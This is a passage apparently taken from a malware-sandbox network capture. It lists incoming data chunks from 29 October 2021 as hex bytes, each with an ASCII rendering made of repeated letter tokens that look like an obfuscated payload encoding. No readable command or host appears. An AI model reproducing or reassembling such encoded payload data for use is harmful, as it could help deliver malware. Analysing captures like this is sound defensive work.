Et oE EO OOK OYt Et Eo x x x x EO Yt OYt Et Eo x x x x EO Oxo OYt Et Eo x x x x EO Yx OYt Et Eo x x x x EO YY OYt Et oo EO kK OYt OOY OER x x Ox Ko x x OQ Kk K x o O x x E x x Ot ok OKO OOY x x
2021-10-29 18:29:21 UTC	2051	IN	Data Raw: 4f 20 6f 78 20 4f 78 52 20 6b 6b 20 4b 78 20 4f 4b 74 20 78 20 78 20 4f 78 20 4b 78 20 4f 52 59 20 78 20 78 20 4f 78 20 4f 51 20 6b 20 4f 59 20 78 20 4b 78 20 4f 59 4f 20 78 20 78 20 4f 78 20 4f 74 20 52 20 4f 78 52 20 6b 6b 20 45 4f 20 6f 4b 20 4f 78 52 20 6b 6b 20 4b 78 20 4f 4b 74 20 78 20 78 20 4f 78 20 4b 78 20 4f 52 59 20 78 20 78 20 4f 78 20 4f 51 20 51 20 4f 59 20 78 20 4b 78 20 4f 59 4f 20 78 20 78 20 4f 78 20 4f 74 20 52 20 4f 78 52 20 6b 6b 20 45 4f 20 6f 6b 20 4f 78 52 20 6b 6b 20 4b 78 20 4f 4b 74 20 78 20 78 20 4f 78 20 4b 78 20 4f 52 59 20 78 20 78 20 4f 78 20 4f 51 20 4f 78 20 4f 59 20 78 20 4b 78 20 4f 59 4f 20 78 20 78 20 4f 78 20 4f 74 20 52 20 4f 78 52 20 6b 6b 20 45 4f 20 45 6f 20 4f 78 52 20 6b 6b 20 4b 78 20 4f 4b 74 20 78 20 78 20 Data Ascii: O ox OxR kk Kx OKt x x Ox Kx ORY x x Ox OQ k OY x Kx OYO x x Ox Ot R OxR kk EO oK OxR kk Kx OKt x x Ox Kx ORY x x Ox OQ Q OY x Kx OYO x x Ox Ot R OxR kk EO ok OxR kk Kx OKt x x Ox Kx ORY x x Ox OQ Ox OY x Kx OYO x x Ox Ot R OxR kk EO Eo OxR kk Kx OKt x x
2021-10-29 18:29:21 UTC	2067	IN	Data Raw: 45 74 20 6f 6f 20 45 4f 20 4f 4f 78 20 4f 59 74 20 4f 4f 59 20 4f 45 52 20 78 20 78 20 4f 78 20 4b 6f 20 78 20 78 20 4f 51 20 4b 6b 20 4b 20 78 20 74 52 20 45 20 78 20 78 20 45 20 78 20 78 20 4f 74 20 45 4f 20 6f 78 20 4f 4b 4f 20 4f 4f 59 20 78 20 78 20 4f 20 45 74 20 45 6f 20 4f 51 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 4f 51 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 51 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 4f 51 20 78 20 78 20 78 20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 45 4f 20 4f 51 20 45 4f 20 4f 6f 4f 20 4f 59 74 20 45 74 20 45 6f 20 4f 6b 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 4f 6b 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f Data Ascii: Et oo EO OOx OYt OOY OER x x Ox Ko x x OQ Kk K x tR E x x E x x Ot EO ox OKO OOY x x O Et Eo OQ x x x EO Qt OYt Et Eo OQ x x x EO Qk OYt Et Eo OQ x x x EO Qt OYt Et Eo OQ x x x EO YR OYt Et EO OQ EO OoO OYt Et Eo Ok x x x EO KQ OYt Et Eo Ok x x x EO OxO O
2021-10-29 18:29:21 UTC	2083	IN	Data Raw: 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 6f 6b 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 6f 74 20 45 4f 20 4f 4f 4f 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 Data Ascii: t Eo R x x x EO KQ OYt Et Eo R x x x EO YR OYt Et Eo R x x x EO Kk OYt Et Eo R x x x EO YR OYt Et ok EO QQ OYt Et Eo Y x x x EO YO OYt Et Eo Y x x x EO QQ OYt Et Eo Y x x x EO YY OYt Et Eo Y x x x EO OxO OYt Et ot EO OOO OYt Et Eo K x x x EO Qk OYt Et Eo
2021-10-29 18:29:21 UTC	2099	IN	Data Raw: 4f 59 74 20 45 74 20 45 6f 20 45 45 20 78 20 78 20 78 20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 45 6f 20 45 45 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 45 45 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 4f 20 45 45 20 45 4f 20 4f 78 59 20 4f 59 74 20 45 74 20 45 6f 20 45 6f 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 45 6f 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 45 6f 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 4f 20 45 6f 20 45 4f 20 4f 78 6b 20 4f 59 74 20 45 74 20 45 6f 20 45 4f 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 6f 20 45 4f 20 78 20 78 20 78 20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 45 6f 20 45 4f 20 Data Ascii: OYt Et Eo EE x x x EO YR OYt Et Eo EE x x x EO QQ OYt Et Eo EE x x x EO OxO OYt Et EO EE EO OxY OYt Et Eo Eo x x x EO Kk OYt Et Eo Eo x x x EO YY OYt Et Eo Eo x x x EO Yt OYt Et EO Eo EO Oxk OYt Et Eo EO x x x EO Oxo OYt Et Eo EO x x x EO YR OYt Et Eo EO
2021-10-29 18:29:21 UTC	2115	IN	Data Raw: 20 45 74 20 45 6f 20 51 59 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 59 20 45 4f 20 4b 52 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 4b 20 45 4f 20 4f 4f 78 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 45 20 45 4f 20 4f 4f 4f 20 4f 59 74 20 45 74 20 45 6f 20 51 6f 20 78 20 78 20 78 20 45 4f 20 4f Data Ascii: Et Eo QY x x x EO Qk OYt Et EO QY EO KR OYt Et Eo QK x x x EO YK OYt Et Eo QK x x x EO OxO OYt Et Eo QK x x x EO Qk OYt Et EO QK EO OOx OYt Et Eo QE x x x EO QQ OYt Et Eo QE x x x EO KQ OYt Et Eo QE x x x EO Kk OYt Et EO QE EO OOO OYt Et Eo Qo x x x EO O
2021-10-29 18:29:21 UTC	2131	IN	Data Raw: 20 45 6f 20 74 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 6f 51 20 45 4f 20 4f 78 51 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 6f 6b 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 6f 74 20 45 4f 20 4f 4f 52 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20 Data Ascii: Eo t x x x EO Kk OYt Et oQ EO OxQ OYt Et Eo R x x x EO Qt OYt Et Eo R x x x EO Qk OYt Et Eo R x x x EO Qt OYt Et ok EO OxO OYt Et Eo Y x x x EO Qt OYt Et Eo Y x x x EO OxO OYt Et Eo Y x x x EO Oxo OYt Et ot EO OOR OYt Et Eo K x x x EO Yt OYt Et Eo K x x
2021-10-29 18:29:21 UTC	2147	IN	Data Raw: 6b 20 4f 4f 4b 20 6f 74 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 59 4b 20 6b 4f 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 6f 4b 4b 20 4b 59 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 45 4f 20 51 51 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 4b 4b 20 4b 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4b 59 20 4f 4f 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 6f 6f 52 20 6b 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 59 4f 20 59 52 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 6f 78 20 6f 59 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 45 6b 20 74 52 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 51 4f 20 4f 4f 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 6b 4f 20 52 4b 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 78 59 20 4f 4f 45 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 4b 45 20 59 52 20 Data Ascii: k OOK ot EY o kR Ook OYK kO EY o kR Ook oKK KY EY o kR Ook OEO QQ EY o kR Ook OKK Kx EY o kR Ook KY OOx EY o kR Ook ooR kx EY o kR Ook YO YR EY o kR Ook Oox oY EY o kR Ook Ek tR EY o kR Ook QO OOx EY o kR Ook OkO RK EY o kR Ook OxY OOE EY o kR Ook OKE YR
2021-10-29 18:29:21 UTC	2163	IN	Data Raw: 20 4f 20 4b 45 20 45 20 51 20 78 20 4f 6b 78 20 4f 20 4b 6b 20 45 20 51 20 78 20 4f 6b 4b 20 4f 20 59 45 20 45 20 51 20 78 20 4f 6b 6b 20 4f 20 59 6b 20 45 20 51 20 78 20 4f 51 6f 20 4f 20 52 45 20 45 20 51 20 78 20 4f 51 52 20 4f 20 52 6b 20 45 20 51 20 78 20 6f 78 78 20 4f 20 74 45 20 45 20 51 20 78 20 6f 78 4b 20 4f 20 74 6b 20 45 20 51 20 78 20 6f 78 6b 20 4f 20 6b 45 20 45 20 51 20 78 20 6f 4f 6f 20 4f 20 6b 6b 20 45 20 51 20 78 20 6f 4f 52 20 4f 20 51 45 20 45 20 51 20 78 20 6f 6f 78 20 4f 20 51 6b 20 45 20 51 20 78 20 6f 6f 4b 20 4f 20 4f 78 45 20 45 20 51 20 78 20 6f 6f 6b 20 4f 20 4f 78 6b 20 45 20 51 20 78 20 6f 45 6f 20 4f 20 4f 4f 45 20 45 20 51 20 78 20 6f 45 52 20 4f 20 4f 4f 6b 20 45 20 51 20 78 20 6f 4b 78 20 4f 20 4f 6f 45 20 45 20 51 20 Data Ascii: O KE E Q x Okx O Kk E Q x OkK O YE E Q x Okk O Yk E Q x OQo O RE E Q x OQR O Rk E Q x oxx O tE E Q x oxK O tk E Q x oxk O kE E Q x oOo O kk E Q x oOR O QE E Q x oox O Qk E Q x ooK O OxE E Q x ook O Oxk E Q x oEo O OOE E Q x oER O OOk E Q x oKx O OoE E Q
2021-10-29 18:29:21 UTC	2179	IN	Data Raw: 74 20 4f 4f 78 20 4f 78 78 20 4f 78 6b 20 4f 78 4f 20 74 51 20 4f 4f 78 20 6b 45 20 4f 4f 52 20 51 74 20 51 51 20 4f 78 74 20 78 20 6b 6f 20 4f 78 4f 20 4f 78 45 20 4f 78 59 20 4f 4f 59 20 4f 4f 52 20 4f 4f 4b 20 4f 6f 4f 20 74 59 20 4f 78 4f 20 4f 6f 4f 20 6b 78 20 4f 78 4f 20 4f 4f 4b 20 4f 78 51 20 4f 78 59 20 4f 4f 59 20 4f 4f 59 20 4f 78 59 20 4f 4f 4f 20 4f 4f 78 20 52 74 20 4f 78 4b 20 4f 78 4f 20 51 51 20 4f 78 74 20 78 20 52 59 20 4f 78 6b 20 4f 78 6b 20 4f 4f 4f 20 51 51 20 74 6f 20 74 4f 20 4f 78 6b 20 4f 4f 4f 20 51 6b 20 51 74 20 4f 78 6b 20 78 20 74 78 20 4f 4f 4b 20 4f 78 4f 20 4f 78 4f 20 74 6f 20 74 4f 20 4f 78 6b 20 4f 4f 4f 20 51 6b 20 51 74 20 4f 78 6b 20 78 20 74 74 20 51 74 20 4f 4f 4b 20 4f 4f 59 20 4f 78 4b 20 51 74 20 4f 78 6b 20 Data Ascii: t OOx Oxx Oxk OxO tQ OOx kE OOR Qt QQ Oxt x ko OxO OxE OxY OOY OOR OOK OoO tY OxO OoO kx OxO OOK OxQ OxY OOY OOY OxY OOO OOx Rt OxK OxO QQ Oxt x RY Oxk Oxk OOO QQ to tO Oxk OOO Qk Qt Oxk x tx OOK OxO OxO to tO Oxk OOO Qk Qt Oxk x tt Qt OOK OOY OxK Qt Oxk
2021-10-29 18:29:21 UTC	2195	IN	Data Raw: 6f 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 6f 6f 59 20 4f 6b 6f 20 4f 59 4f 20 6f 6f 59 20 4f 6b 4f 20 4f 52 59 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 6f 6f 59 20 4f 6b 4f 20 4f 74 6f 20 6f 6f 59 20 4f 6b 4f 20 4f 6b 52 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 78 20 6f 45 45 20 4f 45 6f 20 4f 51 78 20 6f 45 45 20 4f 45 45 20 4f 59 78 20 6f 45 45 20 4f 45 45 20 4f 74 4b 20 6f 45 45 20 4f 45 45 20 4f 6b 59 20 6f 45 45 20 4f 45 45 20 4f 59 52 20 6f 45 45 20 4f 45 45 20 4f 6b 51 20 6f 45 45 20 4f 45 45 20 4f 74 59 20 6f 45 45 20 4f 45 45 20 4f 74 4f 20 6f 45 45 20 4f 45 45 20 4f 74 4f 20 6f 45 45 20 4f 45 45 20 4f 59 45 20 6f 45 45 20 4f 45 45 20 4f 6f 51 20 6f 45 45 20 4f 45 6f 20 4f 6b 51 20 6f 45 45 20 4f 45 6f 20 4f 6b 52 20 6f 45 45 20 4f 45 45 20 4f 4b 51 Data Ascii: o ooY Oko OEx ooY Oko OYO ooY OkO ORY ooY Oko OEx ooY OkO Oto ooY OkO OkR ooY Oko OEx x oEE OEo OQx oEE OEE OYx oEE OEE OtK oEE OEE OkY oEE OEE OYR oEE OEE OkQ oEE OEE OtY oEE OEE OtO oEE OEE OtO oEE OEE OYE oEE OEE OoQ oEE OEo OkQ oEE OEo OkR oEE OEE OKQ
2021-10-29 18:29:21 UTC	2211	IN	Data Raw: 4f 20 4f 6f 51 20 4f 6b 51 20 6f 45 4f 20 4f 6f 51 20 4f 4b 78 20 6f 45 4f 20 4f 45 78 20 4f 4b 78 20 6f 45 4f 20 4f 6f 51 20 4f 4b 45 20 6f 45 4f 20 4f 45 78 20 4f 45 78 20 6f 45 4f 20 4f 6f 51 20 4f 6b 59 20 6f 45 4f 20 4f 6f 51 20 4f 4b 6f 20 78 20 6f 45 59 20 4f 45 45 20 4f 4b 74 20 6f 45 59 20 4f 45 45 20 4f 74 74 20 6f 45 59 20 4f 45 45 20 4f 51 78 20 6f 45 59 20 4f 45 45 20 4f 52 6f 20 6f 45 59 20 4f 45 4b 20 4f 4b 4b 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4f 45 4b 20 4f 45 4b 20 6f 45 59 20 4f 45 45 20 4f 74 4b 20 6f 45 59 20 4f 45 45 20 4f 4b 52 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4f 45 4b 20 4f 6f 51 20 6f 45 59 20 4f 45 45 20 4f 4b 4f 20 6f 45 59 20 4f 45 45 20 4f 4b 4b 20 6f 45 59 20 4f 45 45 20 4f 6b 6b 20 6f 45 59 Data Ascii: O OoQ OkQ oEO OoQ OKx oEO OEx OKx oEO OoQ OKE oEO OEx OEx oEO OoQ OkY oEO OoQ OKo x oEY OEE OKt oEY OEE Ott oEY OEE OQx oEY OEE ORo oEY OEK OKK oEY OEE OKx oEY OEK OEK oEY OEE OtK oEY OEE OKR oEY OEE OKx oEY OEK OoQ oEY OEE OKO oEY OEE OKK oEY OEE Okk oEY
2021-10-29 18:29:21 UTC	2227	IN	Data Raw: 4f 4b 74 20 4f 4b 78 20 6f 6f 6b 20 4f 4b 52 20 4f 59 51 20 6f 6f 6b 20 4f 4b 52 20 4f 6b 4f 20 6f 6f 6b 20 4f 4b 52 20 4f 6b 6b 20 6f 6f 6b 20 4f 4b 52 20 4f 59 4f 20 6f 6f 6b 20 4f 4b 52 20 4f 59 45 20 6f 6f 6b 20 4f 4b 52 20 4f 59 4f 20 78 20 6f 45 4f 20 4f 4b 52 20 4f 59 6f 20 6f 45 4f 20 4f 4b 52 20 4f 4b 6b 20 6f 45 4f 20 4f 4b 52 20 4f 59 45 20 6f 45 4f 20 4f 4b 74 20 4f 45 45 20 6f 45 4f 20 4f 4b 52 20 4f 6b 74 20 6f 45 4f 20 4f 4b 52 20 4f 59 4b 20 6f 45 4f 20 4f 4b 74 20 4f 45 74 20 6f 45 4f 20 4f 4b 52 20 4f 59 78 20 6f 45 4f 20 4f 4b 74 20 4f 45 52 20 6f 45 4f 20 4f 4b 74 20 4f 45 59 20 6f 45 4f 20 4f 4b 52 20 4f 6b 78 20 6f 45 4f 20 4f 4b 52 20 4f 59 52 20 6f 45 4f 20 4f 4b 74 20 4f 45 4b 20 6f 45 4f 20 4f 4b 52 20 4f 74 6b 20 6f 45 4f 20 4f Data Ascii: OKt OKx ook OKR OYQ ook OKR OkO ook OKR Okk ook OKR OYO ook OKR OYE ook OKR OYO x oEO OKR OYo oEO OKR OKk oEO OKR OYE oEO OKt OEE oEO OKR Okt oEO OKR OYK oEO OKt OEt oEO OKR OYx oEO OKt OER oEO OKt OEY oEO OKR Okx oEO OKR OYR oEO OKt OEK oEO OKR Otk oEO O
2021-10-29 18:29:21 UTC	2243	IN	Data Raw: 4b 20 4f 52 4f 20 6f 45 78 20 4f 52 4b 20 4f 4b 6f 20 6f 45 78 20 4f 52 4b 20 4f 6b 59 20 6f 45 78 20 4f 52 45 20 4f 74 51 20 6f 45 78 20 4f 52 4b 20 4f 59 4f 20 6f 45 78 20 4f 52 45 20 4f 6b 45 20 6f 45 78 20 4f 52 4b 20 4f 52 6f 20 78 20 6f 6f 74 20 4f 74 4b 20 4f 52 51 20 6f 6f 74 20 4f 74 4b 20 4f 52 52 20 6f 6f 74 20 4f 74 59 20 4f 59 78 20 6f 6f 74 20 4f 74 4b 20 4f 52 6f 20 6f 6f 74 20 4f 74 4b 20 4f 52 6b 20 6f 6f 74 20 4f 74 59 20 4f 45 45 20 6f 6f 74 20 4f 74 59 20 4f 45 74 20 6f 6f 74 20 4f 74 4b 20 4f 52 4b 20 6f 6f 74 20 4f 74 59 20 4f 74 78 20 6f 6f 74 20 4f 74 59 20 4f 52 4b 20 6f 6f 74 20 4f 74 59 20 4f 59 4b 20 6f 6f 74 20 4f 74 59 20 4f 4b 59 20 6f 6f 74 20 4f 74 59 20 4f 4b 6b 20 6f 6f 74 20 4f 74 59 20 4f 4b 59 20 6f 6f 74 20 4f 74 4b Data Ascii: K ORO oEx ORK OKo oEx ORK OkY oEx ORE OtQ oEx ORK OYO oEx ORE OkE oEx ORK ORo x oot OtK ORQ oot OtK ORR oot OtY OYx oot OtK ORo oot OtK ORk oot OtY OEE oot OtY OEt oot OtK ORK oot OtY Otx oot OtY ORK oot OtY OYK oot OtY OKY oot OtY OKk oot OtY OKY oot OtK
2021-10-29 18:29:21 UTC	2259	IN	Data Raw: 4f 74 4f 20 6f 45 6b 20 4f 6b 4b 20 4f 4b 78 20 6f 45 6b 20 4f 6b 45 20 4f 74 4f 20 6f 45 6b 20 4f 6b 4b 20 4f 59 4b 20 6f 45 6b 20 4f 6b 4b 20 4f 52 74 20 6f 45 6b 20 4f 6b 4b 20 4f 59 74 20 6f 45 6b 20 4f 6b 45 20 4f 74 6f 20 78 20 6f 45 45 20 4f 6b 4b 20 4f 45 4f 20 6f 45 45 20 4f 6b 4b 20 4f 74 6f 20 6f 45 45 20 4f 6b 4b 20 4f 6f 6b 20 6f 45 45 20 4f 6b 4b 20 4f 59 4f 20 6f 45 45 20 4f 6b 4b 20 4f 59 6f 20 6f 45 45 20 4f 6b 4b 20 4f 74 4f 20 6f 45 45 20 4f 6b 4b 20 4f 74 45 20 6f 45 45 20 4f 6b 4b 20 4f 74 59 20 6f 45 45 20 4f 6b 4b 20 4f 74 4f 20 6f 45 45 20 4f 6b 4b 20 4f 59 52 20 6f 45 45 20 4f 6b 45 20 4f 51 78 20 6f 45 45 20 4f 6b 4b 20 4f 59 6b 20 6f 45 45 20 4f 6b 45 20 4f 51 78 20 6f 45 45 20 4f 6b 4b 20 4f 74 4b 20 6f 45 45 20 4f 6b 4b 20 4f Data Ascii: OtO oEk OkK OKx oEk OkE OtO oEk OkK OYK oEk OkK ORt oEk OkK OYt oEk OkE Oto x oEE OkK OEO oEE OkK Oto oEE OkK Ook oEE OkK OYO oEE OkK OYo oEE OkK OtO oEE OkK OtE oEE OkK OtY oEE OkK OtO oEE OkK OYR oEE OkE OQx oEE OkK OYk oEE OkE OQx oEE OkK OtK oEE OkK O
2021-10-29 18:29:21 UTC	2275	IN	Data Raw: 45 20 6f 45 59 20 4f 45 45 20 4f 4b 6b 20 6f 45 59 20 4f 45 45 20 4f 6b 45 20 6f 45 59 20 4f 45 45 20 4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 6b 4f 20 6f 45 59 20 4f 45 45 20 4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4f 45 45 20 4f 6b 78 20 6f 45 59 20 4f 45 45 20 4f 52 4f 20 6f 45 59 20 4f 45 45 20 4f 45 4f 20 6f 45 59 20 4f 45 4b 20 4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 6b 45 20 78 20 6f 6f 74 20 4f 59 4f 20 4f 74 52 20 6f 6f 74 20 4f 59 4f 20 4f 52 51 20 6f 6f 74 20 4f 59 4f 20 4f 4b 74 20 6f 6f 74 20 4f 59 78 20 4f 51 78 20 6f 6f 74 20 4f 59 4f 20 4f 4b 6b 20 6f 6f 74 20 4f 59 4f 20 4f 74 6f 20 6f 6f 74 20 4f 59 78 20 4f 6b 6f 20 6f 6f 74 20 4f 59 4f 20 4f 74 78 20 6f 6f 74 20 4f 59 78 20 4f 6b 51 20 6f 6f 74 20 4f 59 4f 20 4f 6b 6b Data Ascii: E oEY OEE OKk oEY OEE OkE oEY OEE OEQ oEY OEE OkO oEY OEE OEQ oEY OEE OKx oEY OEE Okx oEY OEE ORO oEY OEE OEO oEY OEK OEQ oEY OEE OkE x oot OYO OtR oot OYO ORQ oot OYO OKt oot OYx OQx oot OYO OKk oot OYO Oto oot OYx Oko oot OYO Otx oot OYx OkQ oot OYO Okk
2021-10-29 18:29:21 UTC	2291	IN	Data Raw: 20 78 20 52 59 20 78 20 52 52 20 78 20 52 74 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 52 20 78 20 59 6f 20 78 20 74 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: x RY x RR x Rt x RY x kO x RR x Yo x tE x kO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x OOQ x OOQ x OOQ x RY x RY x to x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 18:29:21 UTC	2307	IN	Data Raw: 78 20 4b 45 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 6b 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 45 20 78 20 4b 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 74 78 20 78 20 52 74 20 78 20 74 52 20 78 20 52 52 20 78 20 4f 4f 4f 20 78 20 4f 4f 6b 20 78 20 74 51 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 59 20 78 20 6b 4f 20 78 20 59 4b 20 78 20 4f 6f 4f 20 78 20 4f 78 51 20 78 20 74 52 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 51 74 20 78 20 52 6b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 59 52 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 59 78 20 78 20 4b 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 59 20 78 20 4b 74 20 78 20 6b 59 20 78 20 6b Data Ascii: x KE x OxY x OOx x kx x OxE x RY x RY x kY x tE x KQ x tx x OOR x tx x Rt x tR x RR x OOO x OOk x tQ x Kt x KQ x RY x kO x YK x OoO x OxQ x tR x RR x OxQ x Qt x Rk x OOo x Qk x kK x Kt x Kt x OOk x YR x RY x OxR x kQ x Yx x Kk x Kt x Kt x YY x Kt x kY x k
2021-10-29 18:29:21 UTC	2323	IN	Data Raw: 51 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4f 78 74 20 78 20 52 51 20 78 20 6b 52 20 78 20 59 6f 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 45 20 78 20 52 59 20 78 20 4b 45 20 78 20 74 78 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 59 52 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 59 6f 20 78 20 59 78 20 78 20 74 78 20 78 20 59 6f 20 78 20 4f 4f 6b 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 74 6b 20 78 20 6b 4f 20 78 20 51 78 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 59 6f 20 78 20 6b 78 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 78 52 20 78 20 4f 4f 74 20 Data Ascii: Qk x OxE x Kt x Oxt x RQ x kR x Yo x Oxk x Oxx x KE x RY x KE x tx x OOO x RY x RY x RY x RY x tR x YR x tE x RY x OxE x RY x RY x kR x Yo x Yx x tx x Yo x OOk x YO x Kt x Kt x KQ x tk x kO x Qx x OOO x OxQ x Oxx x Yo x kx x YO x Kt x Kt x KE x OxR x OOt
